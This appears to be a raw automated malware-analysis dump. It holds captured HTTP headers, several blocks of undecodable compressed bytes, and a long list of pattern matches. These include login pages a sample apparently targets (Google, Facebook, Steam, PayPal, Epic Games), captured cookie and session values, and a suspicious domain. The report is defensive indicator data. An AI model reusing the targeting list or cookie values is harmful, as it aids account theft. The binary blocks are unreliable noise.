https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyxEkv9nQVr4_cCREx1y_O0IvdDD7qOz9qn2i7chjdBAFGwZWea3xBsOzKJ4fNb-YlVIVuXbOAStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreportContent-Security-Policy: script-src 'nonce-PntML2C4htA_jI0HsuZ1sg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: unsafe-noneAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factor=*, ch-ua-platform=*, ch-ua-platform-version=*Cross-Origin-Resource-Policy: cross-originServer: ESFContent-Length: 0X-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000" "HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: DENYSet-Cookie: __Host-GAPS=1:xKygfJ_CCrhpA-6qugbULDYVitZ8xw:ZT8Oc_IsEhekfED7; Expires=Mon, 10-Nov-2025 15:08:36 GMT; Path=/; Secure; HttpOnly; Priority=HIGHVary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Sitex-auto-login: realm=com.google&args=continue%3Dhttps://accounts.google.com/x-ua-compatible: IE=edgeCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Sat, 11 Nov 2023 15:08:36 GMTStrict-Transport-Security: max-age=31536000; includeSubDomainsAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreportContent-Security-Policy: script-src 'nonce-bYdj6SEeRHatV011r4Glag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factor=*, ch-ua-platform=*, ch-ua-platform-version=*Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi"Cross-Origin-Resource-Policy: same-siteReport-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]}Content-Encoding: gzipServer: ESFX-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked" "�J��;��|��*�%kތ��2K�l;ʰ�6�]O��`�I[�2��>B��*��+bQ�ֻ��9�q+��0��x�?��3�0�fw��7=��r"?�f�5)v�n��??��i�H�DJ��B�)A�%�X��&��^x��J�[��O��)��{�.:��N�;{��G5ŵ��4��xӕ�X�Yxsi�G��v�Vp:75�R��9��K{xz��+޻��3�f��Q�K�+�wq)��4��Qϵ`7�~o��ן�N��lz��~Z�5��i��;O=�0sl��qi��G��e��X!�l(VD��l@�O)�"A��~zs�!l�P��٤��U��[��gm��LhHO��k�I^��o7�멬'Ө�v�n.Nz訹IŢ��`�ےhv�şO8�JwC�~�0�Ø��C)K b�n��j��,��H�_�>�V�p��)R�o?�Z�z ��x��߽_�i.@8r��)��ݺ��޿��" "00000001�00000001]00000001�00000001S00000001�0000000180000000100000001�00000001W00000001�00000001�00000001�00000001200000001�00000001�00000001�00000001|00000001�0000000100000001^0896�r�p��n�!q�&G i�Ж��gK�#ٲ�kɲ�'J��J��V�-Gn�˫z[��3��v��P��Y��[[��e�,��@��jv�a�?G��*�@��8Z��us2��b�#��]��]��Sن0��s{��hA��QB�n�|�r��.��^�It�)��E��Z65O ��1dA�v��`�$��O�Z��,��L�D�1��Z�k��>��e �D@�H_�'C���ɼ3�s"��䪽�T(�_$C�$'.�tZ��ɉ��v�T� �2ډ��D�t*�#��YT�hgS�ʓŢU�N��1%�B(\@��ʈnɉ�?�ϖ�,8�2�:��Kh��_��q͋��Xy�R�9�%؉+7��Q�� QX�xɉ��U\ <��S��6�w=�&��C(��b�R�S��٭�3��s`j x��x'��UK�cAV��x¨b�F;�0��qF�$Ư��,,�G@?��Zy�gq��ʁ�:�:�.��om�q�q|i4Љ�(53Q'�2��zQm��ɘ��82�ePE��Q�\��3��g�ƺ"L��<`+O��T5��G�w7��si�菦e>�.x�S%>�$��:s4��s4��s4u��q�O0[��M�3�_��v�\ūZo�3\Q��./�){s��<�IN��J&�\��to��Cv��P�0��\G��&��r$�e�.�ܼ's��V̔�??N*ρ��lC�Ά4<�R��RG�K�- Y��"��ӱl�*��Z��φ��ͻ�9�Jۮ��p�g�ދpb��}cx?nLf�G/Er�%��x�ʮ��D�*�mU��Y۪p��j��6j[�,a��7��7g�~\O]��(./|�vE�l��C��eR�n��q��3��|��{��W�~�>%Yp��p�ج��_#��f�u�}cH�;��B/ѱ��6� [N��o��w��", "00000001�00000001]00000001�00000001N000000010000000110000000100000001�0000000100000001�00000001T0000000100000001�00000001r00000001�0000000100000001_00000001�00000001�00000001�0208"@�"��f�u�5v��C�8��qRO�#}~5'�:��Gm�� P�3�fU��"��Կ�v��"��ag�"�;��A͘��Q�u�܎��8�*t��SDC�e6t6lV��)XsIK�N=��^$��+��7�ICF��btrE�i��0��/�I$W��V��O/��q��v�=~޿f:2>��X0�;*Is{0M`��_��j{�g�iI*��'��C��P��㦴��aNO�g��'5�h�V|׿�I�t��h;�]>�2�(T1e+8�8��G�!$�*W�� Cbinm��<��n�~U��ǖ8�ךIf�F�jz2{s}e��USZ��0H�eM�z[��P�W��6[��6�!@��R.{'�SNS�,ͭ�ڕaQXĽ$�0��Pe8�>Ȫ߄)-�D��ė��=iR;]yO��`q��", "00000001�00000001]00000001m00000001o00000001�0000000160703�+�1`��{�^��Y�)��%ײ�n��Dɖ �"�<��2��#��c��B7�r�N�!8@��P|��~#u�yψ~��V��RE��A�o�Wa��T=\v�� c(��ͱ�ܡ�o��7_z7��H��Aޫ�7CRC��33��&��Z��R�H�n4��(��#+'�걖Dp�,��B7�r�NK"8@�%Q|��꺖$u�y�%��jIvx�U�&�T��$�&:K�^��T��'�iK_��5�z�\cC�?SYG�' ˫(��ܡӓ��I_z7��'I��A�3��2T[�]�jK��i�6��|a$m)�4u62��tP��!��%�d9��ߐ;t��2m��K��V׵%�[=�{F�%0�Pm��-�*jI��ڷ(U��}��.�P�D��K��,�/t��;t��2y��K��V��%�[=�{F�%0��Z0KB]r��^jET��~&W��a�qiَ�+~3ƅe��\�Uy\#E��H�iHL �)ӄs[��zc��4�r��6�}��4�`�}��\�C-a%m��D�u)��&�\b��s�lg�:�esf*�׌֤|U�'Y��`�iU�JC��)K��۫R�!��՘��X��GJ[E��V#��!��c#^woMk+8#^XWgċ U��x#^z��؈�]�kmg�k�#=�a*��C�'��VO��bL��|DFگ�%�R�;"#-��r��L��g�3��)Y��c��m��Ňe�M��7��~`xͳ�ǆf�|��~�ܸE$�ʨ��r/�WF�y��n�X�7��GE�C��a�{�Yn��_1f!�S�Y�2m�h��`P2�4h�� ,(AA`P��A��4Hn~�Pn�`2��r��*�T�� , OAX@��,��|^Jˀ�_�j �_(��p�[mW�j#�(��|��`Eֽ�P0z"�^m(9�N��D�p��S}��N$�9*=�Py��u��!7�w�U��Śz}E�~eۥ��&��#��6��.�Y��֙�ζ��|�U��'�|��K��6�q��Y�y�[w��]�G��2��=�q{W��R��k4X��gs��B�", "� {�j'�|c��~��gE02J��(��<�.Im��ʊ��h}�;��_9�\��A�H�mG�%��s��|I�[��q�_1��F��E�X��6�ۭ��l��K�}g��+_�7�9�/�OJn3s��2ԩ�iv8\r�4/#wd��P~��'i��O/�??]��쪕AT~��w�?��g��>y�rͶ��Q)�i�촣>{[?�o+RCvߛ�m�=��T�<.]��*��$��]mM{{8��S�ba��g�>Mq��^Ф��f�oh��.�|��dSVN��/�+r:N��$5t8k��ƻ�%J�.vf{�K=f�w�q}�m~��(��l�ܧ�9��m��d��}��W�'�0��p��3�(�բx�{��ܹ�D��X�r��}Cw��C5��f��|�s�c�'S��", "00000001�00000001]00000001[00000001�00000001�0000000160000000100000001�05dd++�ff�(��#2�A��g%*�NG4gl��J�'�<�R��g�-l�*��ˏ��j!��AM\��Y��-+-_�h��J)/��B��y�|�.ꑄ�� B�:Ԅ2�q�y?�:��C q�׾�G��)-^�R�B��R8iT�աfpҾ��N��I��W�+Q�<4�kA>� b��j�!�L=$8��h��6Z��J��4{�s�azX��6�mv�}��2�ܶ��c�)BgJ��'�g�j��?|}7;��o�g�я��@�-z�Y{�~�_��R�ʲ�$��"}�f2}�7jO'��c��>�3ޚ�h!�"T�"��wF��#s��t��vgi˖��^^��t�ح��kK��FX1�ooɰe��7<��.��%��f�}ˮ�8��W�wn�N]��\�%��R�ceq� Z��5��#"��F�b_�d�p�6��[8~�~�-_�x�J&3��_Z��_;�c��W�o{�o܁��q��}�:��O��>��X�{=��x�gج8X��]�lޒ{��n�-P&��m�c<�n;�~�6�A{�u:�D/��,�b��k�X��U��J4�)hD�UЈڲ�5tA#:��E�Ͱg��I�w�vɊ��^�"65:T5574,Pattern match: "https://store.steampowered.com/login/" Pattern match: "https://www.facebook.com/login" Pattern match: "https://accounts.google.com/" Pattern match: "https://twitter.com/i/flow/login" Heuristic match: "ch-.Kh" Heuristic match: "?a$.Gp" Heuristic match: "r!.Ht" Pattern match: "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]Q0O0MAhttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0J!P-f+;z{]6mWXIY8Washington1Redmond1Microsoft" Pattern match: "I.HTQE/L+#&'73267#&&5466367&&#O" Pattern match: "https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english" Pattern match: "http://store.steampowered.com/subscriber_agreement/" Pattern match: "http://crls.pki.goog/gts1c3/moVDfISia2k.crlyV;K/IP|2*" Pattern match: "http://crl3.digicert.com/sha2-ha-server-g6.crl.http://crl4.digicert.com/sha2-ha-server-g6.crl0~7" Pattern match: "http://www.w3.org/1999/02/22-rdf-syntax-ns#" Pattern match: "http://www.youworkforthem.com/product.php?sku=T2982" Pattern match: "NOFORMmicrosoft.com/102433237894403108561027971357230938743SRCHUIDV=2&GUID=426377958C8445E3B4EA69482BD0E747&dmnchg=1microsoft.com/102433237894403108561027971357230938743SRCHUSRDOB=20220131microsoft.com/102433237894403108561027971357230938743SRCHHPGUSRSRCHL" Pattern match: "IESS4Abing.com/1024294378944031085610419731758630938742SRCHUIDV=2&GUID=DD3EB05AD9C54D24A2443E918EB9AD6D&dmnchg=1bing.com/1024294378944031085610419731758630938742SRCHUSRDOB=20220131&T=1643622536000bing.com/1088404823347231085593429095039930938742bing.com/10" Pattern match: "3A169971534033643723twitter.com/102540499645443121621197265711831069367guest_id_adsv1%3A169971534033643723twitter.com/102540499645443121621198531336831069367personalization_idv1_OIXddui8bSxputEMGNhDcA==twitter.com/102540499645443121621198625086831069367g" Pattern match: "3A169971534033643723twitter.com/102540499645443121621197265711831069367guest_id_adsv1%3A169971534033643723twitter.com/102540499645443121621198531336831069367personalization_idv1_OIXddui8bSxputEMGNhDcA==twitter.com/102540499645443121621198625086831069367" Pattern match: "MUIDB1B73F8C70D706E0E1B26EB010CF46FF4www.msn.com/921628731417603114781528728648031069370sptmarketen-us||us|en-us|en-us|en||RefA=FC688ED6AEEE4D7482307D9654358D76.RefC=2023-11-11T15:09:29Zwww.msn.com/10247565707523121641333443491831069370" Pattern match: "-Sw8gJyqbxslx2vjCIlExquajJtvd0wXRMV64CbyFJlgndV-F1pktm1-Ybm4wgoogle.com/921716863144963110617437318491831069370" Pattern match: "CheckConnectionTempCookie46773644accounts.youtube.com/accounts/21474847524526764803106937035677866831069370CheckConnectionTempCookie411924900accounts.youtube.com/accounts/21474847525226764803106937042696616831069370" Pattern match: "1fUnV3n8QC4gVXh9accounts.google.com/9217234997248312162121436650217310693737290274_52_52_123900_48_436380accounts.google.com/1089378511052831075407391308626331069372" Pattern match: ".google.com/92174499724831216212336466168310693707290274_52_52_123900_48_436380accounts.google.com/1089378511052831075407391308626331069372" Pattern match: "921628731417603114781528728648031069370MUID1B73F8C70D706E0E1B26EB010CF46FF4msn.com/102528731417603114781528681773031069370USRLOCmsn.com/92177565707523121641333693491831069370" Pattern match: "3A169971534033643723twitter.com/102540499645443121621197265711831069367guest_id_adsv1%3A169971534033643723twitter.com/102540499645443121621198531336831069367" Pattern match: "921628731417603114781528728648031069370MUID1B73F8C70D706E0E1B26EB010CF46FF4msn.com/102528731417603114781528681773031069370" Pattern match: ".google.com/921737499645443121621167546961831069367" Pattern match: "J2WhxbXONJRZl72Saccounts.google.com/921738499645443121621176781336831069367" Pattern match: ".google.com/921738099645443121621172875086831069367" Pattern match: "0NfvdCxp-GBx3drFaccounts.google.com/921738599645443121621178718836831069367" Pattern match: "wLbnjI6hCxSGWX9Zaccounts.google.com/921736799645443121621161312586831069367" Pattern match: "JClT2HIHaKEVgYSzaccounts.google.com/921738799645443121621180140711831069367" Pattern match: ".google.com/921737999645443121621172218836831069367" Pattern match: "hKztR3PKR2taNeFTaccounts.google.com/921738799645443121621180859461831069367" Pattern match: ".google.com/921737899645443121621172062586831069367" Pattern match: ".google.com/9217449972483121621233646616831069370" Pattern match: "CheckConnectionTempCookie46773644accounts.youtube.com/accounts/21474847524526764803106937035677866831069370" Pattern match: "MUIDB1F3BB0F45EAB6D7D374BA3325F2F6C95ieonline.microsoft.com/921626531417603114781599562586831069367" Pattern match: "3A169971534033643723twitter.com/102540499645443121621197265711831069367" Pattern match: "browserid3138506767087849856store.steampowered.com/102519536733443114278690046961831069367" Pattern match: "TESTCOOKIESENABLEDaccounts.google.com/v3/signin/1088339770918431069371339659262131069371" Pattern match: "TESTCOOKIESENABLEDaccounts.google.com/v3/signin/1088390274188831069372331043782531069372" Pattern match: "MUIDB1B73F8C70D706E0E1B26EB010CF46FF4www.msn.com/921628731417603114781528728648031069370" Pattern match: "TESTCOOKIESENABLEDaccounts.google.com/v3/signin/10889777091843106937138893637131069371" Pattern match: "MUID1B73F8C70D706E0E1B26EB010CF46FF4msn.com/102528731417603114781528681773031069370" Pattern match: "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" Pattern match: "nactkwww.msn.com/spartan/108834324326431367516156339216030633261" Heuristic match: "ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "cacerts.digicert.com" Heuristic match: "GET /DigiCertGlobalRootG3.crt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cacerts.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAyrYs0K8fIgDBkW1BOTO8g%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnxLiz3Fu1WB6n1%2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN6oDHb7tzRcCEAp6FnkBkACKqk%2BVbKsyAbY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "killredls.pw" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "abs.twimg.com" Heuristic match: "accounts.google.com" Heuristic match: "accounts.youtube.com" Heuristic match: "fonts.gstatic.com" Heuristic match: "play.google.com" Heuristic match: "store.steampowered.com" Heuristic match: "twitter.com" Pattern match: "www.bing.com" Pattern match: "www.facebook.com" Pattern match: "www.google.com" Pattern match: "www.gstatic.com" Pattern match: "www.bing.comDNT" Pattern match: "https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding" Pattern match: "https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeywCbJNJEcUUvBcmfpzVoyWQ5eZUsFVzS3giw2on0cEPsnJNB2QSc_ji5XnJnjgathDChUVkkg" Pattern match: "https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeywCbJNJEcUUvBcmfpzVoyWQ5eZUsFVzS3giw2on0cEPsnJNB2QSc_ji5XnJnjgathDChUVkkgStrict-Transport-Security" Pattern match: "https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyyt0wJr6Sytvra_3Ogqi1VXfdjzHKHGdLJyXex1p8srFmaq6d8aiK-c_75w7-bMisYPmrA&passive=1209600&flowName=GlifWebSi" Pattern match: "https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyxEkv9nQVr4_cCREx1y_O0IvdDD7qOz9qn2i7chjdBAFGwZWea3xBsOzKJ4fNb-YlVIVuXbOAStrict-Transport-Security" Pattern match: "accounts.google.com/x-ua-compatible" Pattern match: "https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyxEkv9nQVr4_cCREx1y_O0IvdDD7qOz9qn2i7chjdBAFGwZWea3xBsOzKJ4fNb-YlVIVuXbOA" Pattern match: "https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyzqg4QWbIW4mOPsPgFX7Hvxl5IcSGDgjPhXZvWB1GqqEDRNOBC0EcsXmNhFP2IKVsCdy6KJ&passive=1209600&flowName=GlifWebS" Pattern match: "https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeywDKHraxoopAn5Lo50x5TUTC2Tq1I8DYY5vkRGN6hur1eTM1xE27NcSpjP73GPCcSYsF5SQjwStrict-Transport-Security" Pattern match: "https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeywDKHraxoopAn5Lo50x5TUTC2Tq1I8DYY5vkRGN6hur1eTM1xE27NcSpjP73GPCcSYsF5SQjw" Pattern match: "https://accounts.google.com/Accept-Language" Pattern match: "https://csp.withgoogle.com/csp/report-to/AccountsSignInSignUpUi}]}Cross-Origin-Opener-Policy-Report-Only" Pattern match: "https://csp.withgoogle.com/csp/report-to/AccountsSignInUi}]}Cross-Origin-Resource-Policy" Pattern match: "https://csp.withgoogle.com/csp/boq-infra/identity-boq-js-css-signersCross-Origin-Resource-Policy" Pattern match: "https://csp.withgoogle.com/csp/apps-themesCross-Origin-Resource-Policy" Pattern match: "https://twitter.com/i/flow/loginAccept-Language" Pattern match: "https://twitter.com" Pattern match: "https://accounts.google.comContent-Security-Policy" Pattern match: "https://accounts.google.comAccess-Control-Request-Method" Pattern match: "https://accounts.google.comAccess-Control-Allow-Methods" Pattern match: "https://accounts.google.comCross-Origin-Resource-Policy" Pattern match: "https://abs.twimg.com/responsive-web/client-web/vendor.23d1ab8a.js" Pattern match: "https://twitter3e4tixl4xyajtrzo62zg5vztmjuricljdp2c5kshju4avyoid.onion/" Pattern match: "https://static.ads-twitter.com/uwt.js" Pattern match: "https://abs.twimg.com/responsive-web/client-web/shared~bundle.Birdwatch~bundle.TwitterArticles~bundle.Compose~bundle.Settings~bundle.Display~bundle.Ocf~bundl.d66d482a.js" Pattern match: "https://abs.twimg.com/errors/logo46x38.png" Pattern match: "https://help.twitter.com/using-twitter/twitter-supported-browsers" Pattern match: "https://twitter.com/tos" Pattern match: "https://twitter.com/privacy" Pattern match: "https://support.twitter.com/articles/20170514" Pattern match: "https://legal.twitter.com/imprint.html" Pattern match: "https://business.twitter.com/en/help/troubleshooting/how-twitter-ads-work.html?ref=web-twc-ao-gbl-adsinfo&utm_source=twc&utm_medium=web&utm_campaign=ao&utm_content=adsinfo" Pattern match: "https://steamcommunity.com/chat/friend/" Pattern match: "https://steamcommunity.com/chat/group/" Pattern match: "https://store.steampowered.com/about/" Pattern match: "https://steamcommunity.com/" Pattern match: "https://store.steampowered.com/" Pattern match: "https://community.akamai.steamstatic.com/" Pattern match: "www.youtube.com/embed/" Pattern match: "https://player.vimeo.com/video/" Pattern match: "https://sketchfab.com/models/" Pattern match: "https://help.steampowered.com/en/wizard/HelpWithLimitedAccount" Pattern match: "https://steamcommunity.com" Pattern match: "https://steamcommunity.com/chat/" Pattern match: "https://checkout.steampowered.com/parental/ajaxlock" Pattern match: "https://store.steampowered.com/search/results/" Pattern match: "https://assets.msn.com/config/v1/"" Pattern match: "https://+l+/OneCollector/1.0+function(t){return?+Object.keys(t).map" Pattern match: "https://assets.msn.com/bundles/v1/homePage/latest/midlevel/vendors.ef7dde432bed42c1b7db.js" Pattern match: "https://assets.msn.com/bundles/v1/homePage/latest/midlevel/microsoft.f0dc8bbbc7b4d116660b.js" Pattern match: "https://assets.msn.com/bundles/v1/homePage/latest/midlevel/common.1b9028fc92fa447704b8.js" Pattern match: "https://assets.msn.com/bundles/v1/homePage/latest/midlevel/experience.b069f413a8afbc8a21d4.js" Pattern match: "https://accounts.google.com/v3/signin/" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.yDkzDkiD8kw.L.B1.O/am=DggrInFsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/ed=1/rs=AOaEmlGp20_fZtbXVE_3lxcKsUeyiLApFA/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVGdeOYktMqlap.woff2" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/am=DggrInFsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlHIoiT-65iMVakMzsOqTDMIGph2hg/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2" Pattern match: "https://accounts.google.com/AccountChooser?continue\u003dhttps://accounts.google.com/\u0026followup\u003dhttps://accounts.google.com/],[null,[null,null,https://accounts.google.com/Logout?continue\u003dhttps://accounts.google.com/restart?continue%3Dhttps:" Pattern match: "C.JgU/0$" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]+Q0O0M+0Ahttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0U00" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0" Pattern match: "www.microsoft.com0" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInNsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/ed=1/rs=AOaEmlGbCdZjg_CQgN96PqaF3DkbkH95wQ/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVF9eI.woff" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.5xpC6K7p0qo.es5.O/am=DggrInNsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlFzBOOnuN1DTGGLPRg8a1QQot3pWA/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxIIzQ.woff" Pattern match: "http://www.apache.org/licenses/LICENSE-2.0" Pattern match: "http://fb.me/use-check-prop-types" Pattern match: "https://reactjs.org/docs/error-decoder.html?invariant=+e,r=1;r" Pattern match: "https://fb.me/react-polyfills" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.nVwi62EQcn4.L.I11.O/am=DggrInFsAAT_hybP3zNODgMAAAAAAAAAAKyB2AE/d=1/ed=1/rs=AOaEmlFI4UxK44lUwJvYzcoc958fCFUrCA/m=identifierview,_b,_tp" Heuristic match: "PATHEXT=.CO" Pattern match: "www.facebook.com/login" Heuristic match: "acebook.com" Heuristic match: "ttps://accounts.google.com" Pattern match: "www.paypal.com/signin" Heuristic match: "ww.facebook.com" Heuristic match: "ccounts.google.com" Pattern match: "www.youtube.com" Pattern match: "twitter.com/i/flow/login" Pattern match: "store.steampowered.com/login/" Pattern match: "www.epicgames.com/id/login" Pattern match: "steamcommunity.com/openid/loginform/" Heuristic match: "32.dj" Heuristic match: "tps://accounts.google.com" Pattern match: "https://www.youtube.com/" Heuristic match: "witter.com" Pattern match: "www.youtube.com/" Heuristic match: "teamcommunity.com" Heuristic match: "ww.epicgames.com" Heuristic match: "tore.steampowered.com" Pattern match: "facebook.com/login" Pattern match: "https://steamcommunity.com/openid/loginform/" Pattern match: "https://www.epicgames.com/id/login" Heuristic match: "ww.paypal.com" Heuristic match: "ww.youtube.com" Heuristic match: "diskcomp.com" Heuristic match: "diskcopy.com" Heuristic match: "fpb.rs" Heuristic match: "grb.rs" Heuristic match: "format.com" Heuristic match: 